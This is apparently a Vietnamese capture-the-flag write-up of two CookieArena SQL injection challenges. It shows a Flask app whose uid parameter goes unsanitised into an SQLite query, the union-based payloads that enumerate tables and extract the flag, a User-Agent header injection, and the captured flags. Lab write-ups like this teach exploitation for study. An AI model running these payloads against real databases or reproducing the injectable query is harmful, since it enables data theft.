# WRITEUP SQLi - COOKIEARENA Đây là writeup những challenge về phần sqli bên CookieArena mà mình giải được. Nếu có vấn đề gì rất mong mọi người góp ý với mình ở phần comment. **Nội dung:** [toc] ## CHALLENGE 1: [Baby Address Note](https://battle.cookiearena.org/challenges/web/baby-address-note) Đây là giao diện sau khi khởi động challenge: ![image](https://hackmd.io/_uploads/BytL7jDlC.png) Khi nhập `1` thì chương trình trả về thông tin của user: ![image](https://hackmd.io/_uploads/rJxkUjvgA.png) Ấn vào `/debug` thì mình có được code của challenge: ```python from flask import Flask, session, render_template, request, Response, render_template_string, g import functools import sqlite3 import os app = Flask(__name__) app.config['SECRET_KEY'] = os.urandom(120) def get_db(): db = getattr(g, '_database', None) if db is None: db = g._database = sqlite3.connect('/tmp/address.db') db.isolation_level = None db.row_factory = sqlite3.Row return db def query_db(query, args=(), one=False): with app.app_context(): cur = get_db().execute(query, args) rv = [dict((cur.description[idx][0], str(value)) for idx, value in enumerate(row)) for row in cur.fetchall()] return (rv[0] if rv else None) if one else rv @app.before_first_request def init_db(): with app.open_resource('schema.sql', mode='r') as f: sql = f.read() get_db().cursor().executescript(sql) @ app.teardown_appcontext def close_connection(exception): db = getattr(g, '_database', None) if db is not None: db.close() @ app.route('/') def index(): uid = request.args.get('uid') if uid: try: sql = f"SELECT * FROM users WHERE uid='{uid}';" result = query_db(sql, one=True) if result: return render_template("welcome.jinja2", uid=uid, result=result) else: return render_template("welcome.jinja2", uid=uid, result='') except Exception as e: return render_template("welcome.jinja2", uid=uid, result=e) else: return render_template("welcome.jinja2", uid=uid, result='') @ app.route('/heath') def heath(): return "OK" @ app.route('/debug') def debug(): return Response(open(__file__).read(), mimetype='text/plain') if __name__ == '__main__': app.run(host='0.0.0.0', port=1337, debug=False) ``` Ở đoạn code này mình chú ý đến biến `uid` được nhận từ method `GET`, nó không được xử lý gì cả mà đưa ngay vào câu truy vấn sql và cơ sở dữ liệu mà challenge này sử dụng là `SQLite` nên mình sẽ kiểm tra xem biến `uid` có bị sqli hay không. ![image](https://hackmd.io/_uploads/HJjwSsPeR.png) Mình thử payload: `1'` thì đây là kết quả mình nhận được. ![image](https://hackmd.io/_uploads/rJIVIoDxA.png) Chương trình báo lỗi, tiếp tục thử payload: `1' OR 1=1-- -`. ![image](https://hackmd.io/_uploads/rJz3IjwlA.png) Chương trình lần này trả ra kết quả của user có `uid=1`. Vậy tham số `uid` bị sqli. ### Exploit Mình sẽ tấn công theo kiểu Union-based. Trước tiên mình sẽ xác định số cột bẳng `ORDER BY`. Và mình xác định được bảng này có 3 cột. Payload: `1' ORDER BY 3-- -`. ![image](https://hackmd.io/_uploads/SJkPcsPxR.png) Tiếp theo, mình sẽ tiến hành tìm kiếm tên bảng. Payload: `1' union select 1,2,Group_concat(tbl_name) from sqlite_master where type='table' and tbl_name not like 'sqlite_%'-- -`. ![image](https://hackmd.io/_uploads/HkQC5sDxC.png) Mình có được 2 bảng là `user` và `flag_pUpNA`. Mình sẽ tiếp tục tìm kiếm các cột của bảng `flag_pUpNA`. Payload: `1' UNION SELECT 1,2,GROUP_CONCAT(SQL) FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='flag_pUpNA'-- -`. ![image](https://hackmd.io/_uploads/S1w5oswxC.png) Mình có được tên cột là `flag` trong bảng `flag_pUpNA`. Giờ chỉ cần truy xuất `flag` từ bảng `flag_pUpNA`. Payload: `1' UNION SELECT 1,2,flag FROM flag_pUpNA-- -`. ![image](https://hackmd.io/_uploads/rkiE2jvxC.png) > **Flag:** `CHH{5QL_INJ3cTiON_SQL1T33_b9849372c2a6954e1ab647ea4d64277a}`. ## CHALLENGE 2: [Logger Middleware](https://battle.cookiearena.org/challenges/web/logger-middleware) Ở challenge này mỗi khi tạo một request hệ thống sẽ ghi log lại và hiển thị trên trình duyệt. ![image](https://hackmd.io/_uploads/rJCuugOeA.png) Mình để ý thấy rất nhiều request từ Python được gửi đi từ địa chỉ `http://localhost:1337/` nên mình đoán là phía BE đã lấy những HTTP Headers về rồi lưu vào DB rồi lại đọc từ DB hiển thị lên trình duyệt. Mà nghĩ tới DB thì nghĩ ngay đến sqli nên mình sẽ thử kiểm tra xem có trường nào trong HTTP Request bị sqli hay không. Trước tiên, mình sẽ gửi một request đã sửa đổi lên server. ![image](https://hackmd.io/_uploads/SJA45gOeA.png) Vậy là request sau khi gửi đã được hiển thị trên log. Giờ mình sẽ thử thêm kí tự `'` vào. ![image](https://hackmd.io/_uploads/ryyXaluxC.png) Response trả về 1 đoạn thông báo lỗi. Vậy thì mình đã chắc chắn rằng header `User-Agent` bị sqli và mình còn biết thêm được DB đang dùng là `SQLite`. Giờ thì đến với bước khai thác thôi nào! ### Exploit Đầu tiên mình phải chỉnh sửa payload để có response trả về không lỗi. ![image](https://hackmd.io/_uploads/HJTb1ZdxC.png) Sau đó, mình sẽ tiến hành tìm kiếm các bảng. Đây danh sách payload mình tham khảo [SQL Injection CheatSheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md). ![image](https://hackmd.io/_uploads/r1NpgW_xC.png) Tiếp tục tiến hành tìm kiếm các cột trong bảng `flag`. ![image](https://hackmd.io/_uploads/SkVBWZdl0.png) Mình nhận được có cột là `id`, `secr3t_flag`, `PRIMARY KEY`. Giờ chỉ cần truy xuất vào cột `secr3t_flag` lấy flag ra là xong. ![image](https://hackmd.io/_uploads/BJ10WZulA.png) **Flag:** `CHH{L0G9eR_5QL1_in_uPdaTe_504de4b89e54377fcf87f8679d513abe}`.